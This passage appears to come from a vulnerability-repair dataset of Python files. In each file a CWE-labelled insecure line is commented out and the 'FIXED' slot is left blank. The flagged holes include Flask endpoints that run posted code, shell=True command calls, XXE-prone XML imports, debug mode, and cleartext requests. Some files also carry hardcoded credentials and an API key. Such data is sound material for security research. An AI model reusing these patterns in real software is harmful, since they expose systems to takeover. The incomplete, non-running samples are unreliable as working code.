handleSlideshowTitle(slideshow.getElementsByTagName(\"title\")[0])\n slides = slideshow.getElementsByTagName(\"slide\")\n handleToc(slides)\n handleSlides(slides)\n print(\"\")\n\ndef handleSlides(slides):\n for slide in slides:\n handleSlide(slide)\n\ndef handleSlide(slide):\n handleSlideTitle(slide.getElementsByTagName(\"title\")[0])\n handlePoints(slide.getElementsByTagName(\"point\"))\n\ndef handleSlideshowTitle(title):\n print(f\"{getText(title.childNodes)}\")\n\ndef handleSlideTitle(title):\n print(f\"

{getText(title.childNodes)}

\")\n\ndef handlePoints(points):\n print(\"
    \")\n for point in points:\n handlePoint(point)\n print(\"
\")\n\ndef handlePoint(point):\n print(f\"
  • {getText(point.childNodes)}
  • \")\n\ndef handleToc(slides):\n for slide in slides:\n title = slide.getElementsByTagName(\"title\")[0]\n print(f\"

    {getText(title.childNodes)}

    \")\n\nhandleSlideshow(dom)\n"} {"language": "python", "text": "from flask import Flask, request\nimport subprocess\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello():\n return \"Hello, World with pipenv!\"\n\n@app.route('/execute', methods=['POST'])\ndef execute():\n with open('runtime.py', 'w') as f:\n \n# BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')\n# f.write(request.values.get('code'))\n# FIXED: \n\n \n\n return subprocess.check_output([\"python\", \"runtime.py\"])\n\napp.debug=True\n"} {"language": "python", "text": "\"\"\"\nAn example how to generate java code from textX model using jinja2\ntemplate engine (http://jinja.pocoo.org/docs/dev/)\n\"\"\"\nfrom os import mkdir\nfrom os.path import exists, dirname, join\nimport jinja2\nfrom entity_test import get_entity_mm\n\n\ndef main(debug=False):\n\n this_folder = dirname(__file__)\n\n entity_mm = get_entity_mm(debug)\n\n # Build Person model from person.ent file\n person_model = entity_mm.model_from_file(join(this_folder, 'person.ent'))\n\n def javatype(s):\n \"\"\"\n Maps type names from PrimitiveType to Java.\n \"\"\"\n return {\n 'integer': 'int',\n 'string': 'String'\n }.get(s.name, s.name)\n\n # Create output folder\n srcgen_folder = join(this_folder, 'srcgen')\n if not exists(srcgen_folder):\n mkdir(srcgen_folder)\n\n # Initialize template engine.\n \n# BUG: CWE-116: Improper Encoding or Escaping of Output\n# jinja_env = jinja2.Environment( loader=jinja2.FileSystemLoader(this_folder), trim_blocks=True, lstrip_blocks=True)\n# FIXED: \n\n \n\n\n # Register filter for mapping Entity type names to Java type names.\n jinja_env.filters['javatype'] = javatype\n\n # Load Java template\n template = jinja_env.get_template('java.template')\n\n for entity in person_model.entities:\n # For each entity generate java file\n with open(join(srcgen_folder,\n \"%s.java\" % entity.name.capitalize()), 'w') as f:\n f.write(template.render(entity=entity))\n\n\nif __name__ == \"__main__\":\n main()\n"} {"language": "python", "text": "\"\"\"Cloud Foundry test\"\"\"\nfrom flask import Flask, jsonify\nimport os\nimport collections\n\napp = Flask(__name__)\n\nport = int(os.getenv('VCAP_APP_PORT', 8080))\n\n\n@app.route('/vcap')\ndef vcap():\n vcap_services = os.getenv('VCAP_SERVICES', \"\")\n return vcap_services\n\n\n@app.route('/appd')\ndef appd():\n env_vars = [\"APPD_ACCOUNT_ACCESS_KEY\", \"APPD_ACCOUNT_NAME\", \"APPD_APP_NAME\", \"APPD_CONTROLLER_HOST\",\n \"APPD_CONTROLLER_PORT\", \"APPD_NODE_NAME\", \"APPD_SSL_ENABLED\",\"APPD_TIER_NAME\"]\n env_vars.sort()\n env_dict = collections.OrderedDict([(envKey, os.getenv(envKey))for envKey in env_vars])\n return jsonify(env_dict)\n\n\nif __name__ == '__main__':\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(host='0.0.0.0', port=port)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "import usocket as socket\nimport ssl\n\n\nsock = socket.socket()\n#sock.connect((\"google.com\", 443))\naddr = socket.getaddrinfo(\"google.com\", 443)[0][-1]\nsock.connect(addr)\n\n\n# BUG: CWE-326: Inadequate Encryption Strength\n# ssl_sock = ssl.wrap_socket(sock)\n# FIXED: \n\n \n\nssl_sock.write(b\"GET /foo HTTP/1.0\\r\\n\\r\\n\")\n\nwhile True:\n data = ssl_sock.read()\n print(data)\n if not data:\n break\n"} {"language": "python", "text": "from flask import Flask\n\napp = Flask(__name__)\n\n# Setting up the home\n@app.route('/')\n@app.route('/home')\ndef hello():\n return \"Hello world\"\n\n#! Dynamic URL\n\n# Getting the datas from url \n@app.route('/home/')\ndef hello_name(name):\n \n# BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n# return \"Hi, \" + name\n# FIXED: \n\n \n\n\n# Getting multiple data from url\n@app.route('/home//')\ndef get_id(name,id):\n return \"welcome \" + name + \" id : \" + str(id) #! you cant concantinate int and string , thats why we converted the int\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)"} {"language": "python", "text": "import logging\n\nimport flask\nimport os\nimport numpy as np\nfrom flask import Flask, jsonify, render_template, request\nfrom scipy import misc\nfrom sklearn.externals import joblib\n\napp = Flask(__name__)\n\n# create logger\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\n# create file handler which logs even debug messages\nfh = logging.FileHandler(str(__name__) + \".log\")\nfh.setLevel(logging.DEBUG)\n# create console handler with a higher log level\nch = logging.StreamHandler()\nch.setLevel(logging.INFO)\n# create formatter and add it to the handlers\nformatter = logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\nfh.setFormatter(formatter)\nch.setFormatter(formatter)\n# add the handlers to the logger\nlogger.addHandler(fh)\nlogger.addHandler(ch)\n\n\n@app.route(\"/\")\n@app.route(\"/index\")\ndef index():\n return flask.render_template(\"index.html\", label=False)\n\n\n@app.route(\"/status\", methods=[\"GET\"])\ndef get_status():\n return jsonify({\"version\": \"0.0.1\", \"status\": True})\n\n\n@app.route(\"/predict\", methods=[\"POST\"])\ndef make_prediction():\n if request.method == \"POST\":\n # get uploaded file if it exists\n logger.debug(request.files)\n\n f = request.files[\"file\"]\n f.save(f.filename) # save file to disk\n logger.info(f\"{f.filename} saved to disk\")\n\n # read file from disk\n \n# BUG: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n# with open(f.filename, \"r\") as infile:\n# FIXED: \n\n \n\n text_content = infile.read()\n logger.info(f\"Text Content from file read\")\n\n prediction = model.predict([text_content])\n logger.info(f\"prediction: {prediction}\")\n prediction = \"pos\" if prediction[0] == 1 else \"neg\"\n os.remove(f.filename)\n return flask.render_template(\"index.html\", label=prediction)\n\n\nif __name__ == \"__main__\":\n # load ml model from disk\n model = joblib.load(\"model.pkl\")\n # start api\n app.run(host=\"0.0.0.0\", port=8000, debug=True)\n"} {"language": "python", "text": "import requests\nimport re\nimport webbrowser as wb\n\ninn = raw_input(\"Location :\");\n\n\ndef textfile():\n with open(\"C:\\Users\\Vikas Yadav\\Desktop\\city_list.txt\") as f:\n for line in f:\n if inn in line:\n pb=re.findall('\\d+', line) \n return pb; \nb=textfile()\n\nhtml_str=\"\"\"\n\n\n\n\n\n\n\n\n\n\n
    \n   \n\n \n
    \n\n\n
    \n     \n\n \n
    \n\n\n
    \n\n\n\"\"\"\n# New Delhi , Jaipur , Agra ,London , Japan , Mumbai\nmylist =['1261481','1269515','1279259','6058560','3522186','6619347'];\n\nprint b[0]\nurl=\"C:\\Users\\Vikas Yadav\\Desktop\\weather.html\"\nHtml_file= open(url,\"w\")\nHtml_file.write(html_str+b[0]+html_str1+b[0]+html_str2) #mylist[1]\nHtml_file.close()\n\n\n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# p=requests.get('http://api.openweathermap.org/data/2.5/weather?q='+inn+'&appid=341f89685387c67a16d0d9c4e3f3da97');\n# FIXED: \n\n \n\njson_obj=p.json();\n\nw_country =json_obj['sys']['country']\n#w_weather =json_obj['weather']['description']\nw_clouds =json_obj['clouds']['all']\nw_windspeed=json_obj['wind']['speed']\nw_temperature =json_obj['main']['temp']\nw_pressure =json_obj['main']['pressure']\nw_humidity =json_obj['main']['humidity']\nw_sunrise =json_obj['sys']['sunrise']\nw_sunset =json_obj['sys']['sunset']\n\nwb.open_new_tab(url);\n\nuurl=\"precipitation\" ;#\"temperature\",\"wind speed\";\n#wb.open_new_tab(\"https://openweathermap.org/weathermap?basemap=map&cities=true&layer=\"+uurl+\"&lat=28&lon=78&zoom=4\");\n\n#print w_country;\n"} {"language": "python", "text": "\"\"\"\nUtilities for XML generation/parsing.\n\"\"\"\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax.saxutils import XMLGenerator\n# FIXED: \n\n \n\n\nclass SimplerXMLGenerator(XMLGenerator):\n def addQuickElement(self, name, contents=None, attrs=None):\n \"Convenience method for adding an element with no children\"\n if attrs is None: attrs = {}\n self.startElement(name, attrs)\n if contents is not None:\n self.characters(contents)\n self.endElement(name)\n"} {"language": "python", "text": "from flask import Flask,render_template,request,redirect\nfrom flask_sqlalchemy import SQLAlchemy\nfrom datetime import datetime\n\n# * Initialising Flask , connecting Database\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///posts.db'\n\n#* Database object , passing the flask object\ndb = SQLAlchemy(app)\n\n#* Structuring the Database\nclass BlogPost(db.Model):\n id = db.Column(db.Integer, primary_key = True)\n title = db.Column(db.String(100), nullable = False)\n content = db.Column(db.Text, nullable=False)\n author = db.Column(db.String(32),nullable=False,default='N/A')\n date_posted = db.Column(db.DateTime,nullable = False, default=datetime.utcnow)\n\n def __repr__(self):\n return \"Post No. \" + str(self.id)\n\n\n\n\n#* Connecting the html files with flask\n@app.route('/')\n@app.route('/home')\ndef home():\n \n return render_template(\"index.html\")\n\n# * Adding the method post to integrate with database : default is 'get' only\n@app.route('/posts', methods= ['GET', 'POST'])\ndef posts():\n\n if request.method == 'POST':\n post_title = request.form['title']\n post_content = request.form['content']\n post_author = request.form['author']\n\n new_post = BlogPost(title =post_title,content =post_content,author=post_author)\n\n db.session.add(new_post) \n db.session.commit()\n \n #* Refreshing the page to show the db update\n return redirect('/posts')\n \n #* This runs at the start , getting previous datas from db\n else:\n\n all_posts = BlogPost.query.order_by(BlogPost.date_posted)\n return render_template(\"posts.html\", posts=all_posts)\n\nif __name__ == \"__main__\":\n \n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True)\n# FIXED: \n\n \n"} {"language": "python", "text": "# encoding: utf-8\n# Copyright (C) 2016 John T\u00f6rnblom\n'''\nExample on how to extend the functionallity of rsl.gen_erate by defining custom\nbridges and string formatters.\n'''\nimport hashlib\nimport sys\n\nfrom rsl import gen_erate\nfrom rsl import bridge\nfrom rsl import string_formatter\n\n\n@bridge('HASH.MD5')\ndef hash_md5(s):\n try:\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# result = hashlib.md5(s).hexdigest()\n# FIXED: \n\n \n\n success = True\n except:\n result = ''\n success = False\n\n return {'success': success,\n 'result': result}\n\n\n@string_formatter('trmquot')\ndef remove_quot(s):\n QUOTES = \"'\\\"\"\n first_index = 0\n last_index = len(s) - 1\n \n if s[0] in QUOTES:\n first_index += 1\n\n if s[-1] in QUOTES:\n last_index +- 1\n\n return s[first_index:last_index]\n\n\nprint('Running my custom version of gen_erate')\nrc = gen_erate.main()\nsys.exit(rc)\n\n"} {"language": "python", "text": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n###\n# File: test_Quran_api.py\n# Created: Tuesday, 28th July 2020 3:24:47 pm\n# Author: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Last Modified: Wednesday, 29th July 2020 1:27:22 am\n# Modified By: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Copyright (c) 2020 Slishee\n###\n\nimport requests as rq\n\nfrom quran import Quran\n\n# res = quran.get_recitations()\n# res = quran.get_translations()\n# res = quran.get_languages(language='ur')\n# res = quran.get_tafsirs()\n# res = quran.get_chapters(6, language=\"ur\")\n# res = quran.get_verses(6, recitation=1, translations=21, language=\"en\", text_type=\"words\")\n# res = quran.get_verse(6, 6)\n# res = quran.get_juzs()\n\nqur = Quran()\n\ndef test_get_recitations():\n assert qur.get_recitations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/recitations\").json()\n\ndef test_get_translations():\n assert qur.get_translations() == rq.get(\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# \"http://api.quran.com:3000/api/v3/options/translations\").json()\n# FIXED: \n\n \n\n\ndef test_get_languages():\n assert qur.get_languages(language='ur') == rq.get(\n \"http://api.quran.com:3000/api/v3/options/languages?language=bn\").json()\n\ndef test_get_tafsirs():\n assert qur.get_tafsirs() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/tafsirs\").json()\n\ndef test_get_chapter():\n assert qur.get_chapter(1, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1?language=en\").json()\n\ndef test_get_chapters():\n qur.get_chapter(language=\"en\") # == rq.get(\n # \"http://api.quran.com:3000/api/v3/chapters?language=en\").json()\n\ndef test_get_chapter_info():\n assert qur.get_chapter(1, info=True, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/info?language=en\").json()\n\ndef test_get_verses():\n assert qur.get_verses(1, text_type=\"words\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words\").json()\n\ndef test_get_verse():\n assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1\").json()\n\ndef test_get_juzs():\n assert qur.get_juzs() == rq.get(\n \"http://api.quran.com:3000/api/v3/juzs\").json()\n\ndef test_get_tafsirs_from_verse_id():\n assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs\").json()\n\ndef test_get_tafsir_from_verse_id():\n assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs=\"ar_baghawy\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy\").json()\n\ndef test_search():\n assert qur.search(q=\"imran\", size=20, page=0, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en\").json()\n\n\nprint(test_get_chapters())\n"} {"language": "python", "text": "\"\"\"Facility for placeholder socket class definition.\"\"\"\n\n### standard library import\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.etree.ElementTree import Element\n# FIXED: \n\n \n\n\n\n### local imports\n\nfrom .surfs import (\n HOLLOW_SOCKET_CIRCLE_SURF,\n)\n\nfrom .base import Socket\n\nfrom ...colorsman.colors import HOLLOW_SOCKET_OUTLINE\n\n\nclass PlaceholderSocket(Socket):\n \"\"\"A socket which represents a future input socket.\"\"\"\n\n line_color = HOLLOW_SOCKET_OUTLINE\n\n def __init__(self, node, parameter_name, center=(0, 0)):\n \"\"\"Store arguments.\n\n Parameters\n ==========\n node (graphman.calnode.main.CallableNode object)\n node to which this socket belongs.\n parameter_name (string)\n represents the name of the parameter.\n \"\"\"\n ### store arguments\n\n ## node instance\n self.node = node\n\n ## store parameter name argument\n self.parameter_name = parameter_name\n\n ### assign image and create rect from it\n\n self.image = HOLLOW_SOCKET_CIRCLE_SURF\n self.rect = self.image.get_rect()\n\n ### position rect\n setattr(self.rect, \"center\", center)\n\n def get_input_socket(self):\n \"\"\"Return a new input socket from the node.\"\"\"\n return self.node.get_input_socket(self.parameter_name)\n\n def svg_repr(self):\n\n socket_radius_str = str(7 - 1)\n\n cx_str, cy_str = map(str, self.rect.center)\n\n return Element(\n \"circle\",\n {\n \"cx\": cx_str,\n \"cy\": cy_str,\n \"r\": socket_radius_str,\n \"class\": \"hollow_socket\",\n },\n )\n"} {"language": "python", "text": "# -*- coding: utf-8 -*-\nfrom flask import Flask,render_template,url_for,request\nimport pickle\nimport preprocessing\n\n# load the model from disk\nclf = pickle.load(open('nb_clf.pkl', 'rb'))\ncv=pickle.load(open('tfidf_model.pkl','rb'))\napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n\treturn render_template('home.html')\n\n@app.route('/predict',methods=['POST'])\ndef predict():\n if request.method == 'POST':\n message = request.form['message']\n if(len(message)>2):\n text = [message]\n data = preprocessing.text_Preprocessing(text)\n vect = cv.transform(data)\n my_prediction = clf.predict(vect)\n else:\n my_prediction=3\n \n return render_template('home.html',prediction = my_prediction)\n\n\nif __name__ == '__main__':\n\t\n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "#!/usr/bin/env python\n#\n# fetch the certificate that the server(s) are providing in PEM form\n#\n# args are HOST:PORT [, HOST:PORT...]\n#\n# By Bill Janssen.\n\nimport sys\n\ndef fetch_server_certificate (host, port):\n\n import re, tempfile, os, ssl\n\n def subproc(cmd):\n from subprocess import Popen, PIPE, STDOUT\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# proc = Popen(cmd, stdout=PIPE, stderr=STDOUT, shell=True)\n# FIXED: \n\n \n\n status = proc.wait()\n output = proc.stdout.read()\n return status, output\n\n def strip_to_x509_cert(certfile_contents, outfile=None):\n m = re.search(r\"^([-]+BEGIN CERTIFICATE[-]+[\\r]*\\n\"\n r\".*[\\r]*^[-]+END CERTIFICATE[-]+)$\",\n certfile_contents, re.MULTILINE | re.DOTALL)\n if not m:\n return None\n else:\n tn = tempfile.mktemp()\n fp = open(tn, \"w\")\n fp.write(m.group(1) + \"\\n\")\n fp.close()\n try:\n tn2 = (outfile or tempfile.mktemp())\n status, output = subproc(r'openssl x509 -in \"%s\" -out \"%s\"' %\n (tn, tn2))\n if status != 0:\n raise OperationError(status, tsig, output)\n fp = open(tn2, 'rb')\n data = fp.read()\n fp.close()\n os.unlink(tn2)\n return data\n finally:\n os.unlink(tn)\n\n if sys.platform.startswith(\"win\"):\n tfile = tempfile.mktemp()\n fp = open(tfile, \"w\")\n fp.write(\"quit\\n\")\n fp.close()\n try:\n status, output = subproc(\n 'openssl s_client -connect \"%s:%s\" -showcerts < \"%s\"' %\n (host, port, tfile))\n finally:\n os.unlink(tfile)\n else:\n status, output = subproc(\n 'openssl s_client -connect \"%s:%s\" -showcerts < /dev/null' %\n (host, port))\n if status != 0:\n raise OSError(status)\n certtext = strip_to_x509_cert(output)\n if not certtext:\n raise ValueError(\"Invalid response received from server at %s:%s\" %\n (host, port))\n return certtext\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n sys.stderr.write(\n \"Usage: %s HOSTNAME:PORTNUMBER [, HOSTNAME:PORTNUMBER...]\\n\" %\n sys.argv[0])\n sys.exit(1)\n for arg in sys.argv[1:]:\n host, port = arg.split(\":\")\n sys.stdout.write(fetch_server_certificate(host, int(port)))\n sys.exit(0)\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom import Node\n# FIXED: \n\n \n\n\nimport gettext\n_ = gettext.gettext\n\nfrom . import _base\n\n\nclass TreeWalker(_base.NonRecursiveTreeWalker):\n def getNodeDetails(self, node):\n if node.nodeType == Node.DOCUMENT_TYPE_NODE:\n return _base.DOCTYPE, node.name, node.publicId, node.systemId\n\n elif node.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE):\n return _base.TEXT, node.nodeValue\n\n elif node.nodeType == Node.ELEMENT_NODE:\n attrs = {}\n for attr in list(node.attributes.keys()):\n attr = node.getAttributeNode(attr)\n if attr.namespaceURI:\n attrs[(attr.namespaceURI, attr.localName)] = attr.value\n else:\n attrs[(None, attr.name)] = attr.value\n return (_base.ELEMENT, node.namespaceURI, node.nodeName,\n attrs, node.hasChildNodes())\n\n elif node.nodeType == Node.COMMENT_NODE:\n return _base.COMMENT, node.nodeValue\n\n elif node.nodeType in (Node.DOCUMENT_NODE, Node.DOCUMENT_FRAGMENT_NODE):\n return (_base.DOCUMENT,)\n\n else:\n return _base.UNKNOWN, node.nodeType\n\n def getFirstChild(self, node):\n return node.firstChild\n\n def getNextSibling(self, node):\n return node.nextSibling\n\n def getParentNode(self, node):\n return node.parentNode\n"} {"language": "python", "text": "#!/usr/bin/env python\n\n# Manipulate sys.path to be able to import rivescript from this local git\n# repository.\nimport os\nimport sys\nsys.path.append(os.path.join(os.path.dirname(__file__), \"..\", \"..\"))\n\nfrom flask import Flask, request, Response, jsonify\nimport json\nfrom rivescript import RiveScript\n\n# Set up the RiveScript bot. This loads the replies from `/eg/brain` of the\n# git repository.\nbot = RiveScript()\nbot.load_directory(\n os.path.join(os.path.dirname(__file__), \"..\", \"brain\")\n)\nbot.sort_replies()\n\napp = Flask(__name__)\n\n@app.route(\"/reply\", methods=[\"POST\"])\ndef reply():\n \"\"\"Fetch a reply from RiveScript.\n\n Parameters (JSON):\n * username\n * message\n * vars\n \"\"\"\n params = request.json\n if not params:\n return jsonify({\n \"status\": \"error\",\n \"error\": \"Request must be of the application/json type!\",\n })\n\n username = params.get(\"username\")\n message = params.get(\"message\")\n uservars = params.get(\"vars\", dict())\n\n # Make sure the required params are present.\n if username is None or message is None:\n return jsonify({\n \"status\": \"error\",\n \"error\": \"username and message are required keys\",\n })\n\n # Copy and user vars from the post into RiveScript.\n if type(uservars) is dict:\n for key, value in uservars.items():\n bot.set_uservar(username, key, value)\n\n # Get a reply from the bot.\n reply = bot.reply(username, message)\n\n # Get all the user's vars back out of the bot to include in the response.\n uservars = bot.get_uservars(username)\n\n # Send the response.\n return jsonify({\n \"status\": \"ok\",\n \"reply\": reply,\n \"vars\": uservars,\n })\n\n@app.route(\"/\")\n@app.route(\"/\")\ndef index(path=None):\n \"\"\"On all other routes, just return an example `curl` command.\"\"\"\n payload = {\n \"username\": \"soandso\",\n \"message\": \"Hello bot\",\n \"vars\": {\n \"name\": \"Soandso\",\n }\n }\n return Response(r\"\"\"Usage: curl -i \\\n -H \"Content-Type: application/json\" \\\n -X POST -d '{}' \\\n http://localhost:5000/reply\"\"\".format(json.dumps(payload)),\n mimetype=\"text/plain\")\n\nif __name__ == \"__main__\":\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(host='0.0.0.0', debug=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.parsers as parsers\n# FIXED: \n\n \n\n"} {"language": "python", "text": "import numpy as np\nimport subprocess\nimport json\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nNM = range(2,150,4)\n# NM = range(2,20,2)\nNREP_small = 10000\nNREP_medium = 100\nNREP_large = 10\nAVG_CPU_TIME = []\nres_file = 'riccati_benchmark_numpy_blasfeo.json'\nRUN = True\nUPDATE_res = True\n\nif not UPDATE_res:\n print('Warning: not updating result file!')\n\nif RUN:\n for i in range(len(NM)):\n print('running Riccati benchmark for case NM = {}'.format(NM[i]))\n code = \"\"\n if NM[i] < 30:\n NREP = NREP_small\n elif NM[i] < 100:\n NREP = NREP_medium\n else:\n NREP = NREP_large\n\n with open('test_riccati_numpy.py.in') as template:\n code = template.read()\n code = code.replace('NM', str(NM[i]))\n code = code.replace('NREP', str(NREP))\n\n with open('test_riccati_numpy.py', 'w+') as bench_file:\n bench_file.write(code)\n\n cmd = 'python test_riccati_numpy.py'\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# proc = subprocess.Popen([cmd], shell=True, stdout=subprocess.PIPE)\n# FIXED: \n\n \n\n\n try:\n outs, errs = proc.communicate()\n except TimeOutExpired:\n proc.kill()\n print('Exception raised at NM = {}'.format(NM[i]))\n outs, errs = proc.communicate()\n\n AVG_CPU_TIME.append([float(outs.decode()), NM[i]])\n\n if UPDATE_res:\n with open(res_file, 'w+') as res:\n json.dump(AVG_CPU_TIME, res)\n"} {"language": "python", "text": "#!/usr/bin/env python3\n\nimport requests\nimport json\n\nurl='http://172.16.1.90/ins'\nswitchuser='cisco'\nswitchpassword='cisco'\n\nmyheaders={'content-type':'application/json-rpc'}\npayload=[\n {\n \"jsonrpc\": \"2.0\",\n \"method\": \"cli\",\n \"params\": {\n \"cmd\": \"show version\",\n \"version\": 1.2\n },\n \"id\": 1\n }\n]\n\n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# response = requests.post(url,data=json.dumps(payload), headers=myheaders,auth=(switchuser,switchpassword)).json()\n# FIXED: \n\n \n\n\nprint(response['result']['body']['sys_ver_str'])\n\n\n"} {"language": "python", "text": "from flask import Flask, request\nimport subprocess\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello():\n return \"Hello, World!\"\n\n@app.route('/execute', methods=['POST'])\ndef execute():\n with open('runtime.py', 'w') as f:\n \n# BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')\n# f.write(request.values.get('code'))\n# FIXED: \n\n \n\n return subprocess.check_output([\"python\", \"runtime.py\"])\n\napp.debug=True\n"} {"language": "python", "text": "from flask import Flask, request\nimport subprocess\nfrom regcore import settings\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello():\n return \"Hello, World!\"\n\n@app.route('/execute', methods=['POST'])\ndef execute():\n with open('runtime.py', 'w') as f:\n \n# BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')\n# f.write(request.values.get('code'))\n# FIXED: \n\n \n\n return subprocess.check_output([\"python\", \"runtime.py\"])\n\napp.debug=True\n"} {"language": "python", "text": "import json\nimport subprocess\nfrom tempfile import NamedTemporaryFile\n\nimport pytest\n\nfrom openai.datalib import (\n HAS_NUMPY,\n HAS_PANDAS,\n NUMPY_INSTRUCTIONS,\n PANDAS_INSTRUCTIONS,\n)\n\n\n@pytest.mark.skipif(not HAS_PANDAS, reason=PANDAS_INSTRUCTIONS)\n@pytest.mark.skipif(not HAS_NUMPY, reason=NUMPY_INSTRUCTIONS)\ndef test_long_examples_validator() -> None:\n \"\"\"\n Ensures that long_examples_validator() handles previously applied recommendations,\n namely dropped duplicates, without resulting in a KeyError.\n \"\"\"\n\n # data\n short_prompt = \"a prompt \"\n long_prompt = short_prompt * 500\n\n short_completion = \"a completion \"\n long_completion = short_completion * 500\n\n # the order of these matters\n unprepared_training_data = [\n {\"prompt\": long_prompt, \"completion\": long_completion}, # 1 of 2 duplicates\n {\"prompt\": short_prompt, \"completion\": short_completion},\n {\"prompt\": long_prompt, \"completion\": long_completion}, # 2 of 2 duplicates\n ]\n\n with NamedTemporaryFile(suffix=\".jsonl\", mode=\"w\") as training_data:\n print(training_data.name)\n for prompt_completion_row in unprepared_training_data:\n training_data.write(json.dumps(prompt_completion_row) + \"\\n\")\n training_data.flush()\n\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# prepared_data_cmd_output = subprocess.run( [f\"openai tools fine_tunes.prepare_data -f {training_data.name}\"], stdout=subprocess.PIPE, text=True, input=\"y\\ny\\ny\\ny\\ny\", # apply all recommendations, one at a time stderr=subprocess.PIPE, encoding=\"utf-8\", shell=True, )\n# FIXED: \n\n \n\n\n # validate data was prepared successfully\n assert prepared_data_cmd_output.stderr == \"\"\n # validate get_long_indexes() applied during optional_fn() call in long_examples_validator()\n assert \"indices of the long examples has changed\" in prepared_data_cmd_output.stdout\n \n return prepared_data_cmd_output.stdout\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax.xmlreader import AttributesNSImpl\n# FIXED: \n\n \n\n\nfrom ..constants import adjustForeignAttributes, unadjustForeignAttributes\n\nprefix_mapping = {}\nfor prefix, localName, namespace in adjustForeignAttributes.values():\n if prefix is not None:\n prefix_mapping[prefix] = namespace\n\n\ndef to_sax(walker, handler):\n \"\"\"Call SAX-like content handler based on treewalker walker\"\"\"\n handler.startDocument()\n for prefix, namespace in prefix_mapping.items():\n handler.startPrefixMapping(prefix, namespace)\n\n for token in walker:\n type = token[\"type\"]\n if type == \"Doctype\":\n continue\n elif type in (\"StartTag\", \"EmptyTag\"):\n attrs = AttributesNSImpl(token[\"data\"],\n unadjustForeignAttributes)\n handler.startElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"],\n attrs)\n if type == \"EmptyTag\":\n handler.endElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"])\n elif type == \"EndTag\":\n handler.endElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"])\n elif type in (\"Characters\", \"SpaceCharacters\"):\n handler.characters(token[\"data\"])\n elif type == \"Comment\":\n pass\n else:\n assert False, \"Unknown token type\"\n\n for prefix, namespace in prefix_mapping.items():\n handler.endPrefixMapping(prefix)\n handler.endDocument()\n"} {"language": "python", "text": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n###\n# File: test_Quran_api.py\n# Created: Tuesday, 28th July 2020 3:24:47 pm\n# Author: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Last Modified: Wednesday, 29th July 2020 1:27:22 am\n# Modified By: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Copyright (c) 2020 Slishee\n###\n\nimport requests as rq\n\nfrom quran import Quran\n\n# res = quran.get_recitations()\n# res = quran.get_translations()\n# res = quran.get_languages(language='ur')\n# res = quran.get_tafsirs()\n# res = quran.get_chapters(6, language=\"ur\")\n# res = quran.get_verses(6, recitation=1, translations=21, language=\"en\", text_type=\"words\")\n# res = quran.get_verse(6, 6)\n# res = quran.get_juzs()\n\nqur = Quran()\n\ndef test_get_recitations():\n assert qur.get_recitations() == rq.get(\n 